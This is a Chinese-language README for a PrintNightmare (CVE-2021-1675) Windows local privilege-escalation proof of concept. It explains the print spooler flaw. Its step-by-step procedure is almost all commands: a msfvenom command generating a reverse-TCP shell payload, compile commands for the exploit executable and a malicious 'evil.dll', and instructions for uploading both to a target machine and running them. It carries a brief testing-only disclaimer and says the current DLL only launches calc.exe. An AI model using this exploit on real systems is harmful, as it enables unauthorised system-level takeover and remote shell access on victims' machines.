PrintNightmare 本地权限提升 PoC

src/nightmare.cpp：利用 CVE-2021-1675 获取系统访问权限的源代码 通过安装恶意 dll src/payload-dll.cpp：在入口函数中包含恶意 shellcode 的 dll 源代码

!!仅允许在您拥有测试权限的服务器上使用

概述

CVE-2021-1675 是 Microsoft Windows 打印后台处理程序服务中的一个漏洞， 该漏洞允许攻击者绕过 SeLoadDriverPrivilege 检查。通过安装一个 调用 shellcode 或使用 Windows API 建立反向 shell 连接的恶意 DLL，可以利用此漏洞在目标机器上实现权限提升。2021 年 6 月 8 日之前的 Windows 10/8/Server 2008/Server 2012 版本均受影响。

POC

1. 下载或克隆 git 仓库
2. 使用 msfvenom 生成合适的 c 语言 payload $ msfvenom -p windows/shell/reverse_tcp EXITFUNC=THREAD LHOST=127.0.0.1 LPORT=4444 -f c
3. 将 msfvenom 的输出粘贴到 payload-dll.cpp 中标有“change me”的位置
4. 编译主可执行文件 x86_64-w64-mingw32-g++-win32 -o ./src/nightmare.o -c -g -Wall ./src/nightmare.cpp x86_64-w64-mingw32-g++-win32 -o ./bin/PrintNightmareLPE.exe ./src/nightmare.o -lws2_32 -static-libgcc -static-libstdc++ -lole32 -lwinspool
5. 编译 dll x86_64-w64-mingw32-g++ src/payload-dll.cpp -lws2_32 -o lib/evil.dll -shared
6. 将 exe 和 dll 打包成归档文件，然后想办法将归档文件上传到目标机器 zip ./bin/PrinterNightmareLPE.exe ./lib/
7. 归档文件上传到目标 Windows 机器后，将其解压
8. 将 evil.dll 移动到 c:\windows\temp\evil.dll
9. 运行 PrintNightmareLPE.exe

备注

• 如果一切正常，该漏洞利用程序应遍历 Windows 打印机驱动程序并打印出结果
• 您可以在源代码中更改 PrintNightmareLPE.exe 加载 evil.dll 的文件路径
• 目前恶意 dll 仅加载 calc.exe 作为概念验证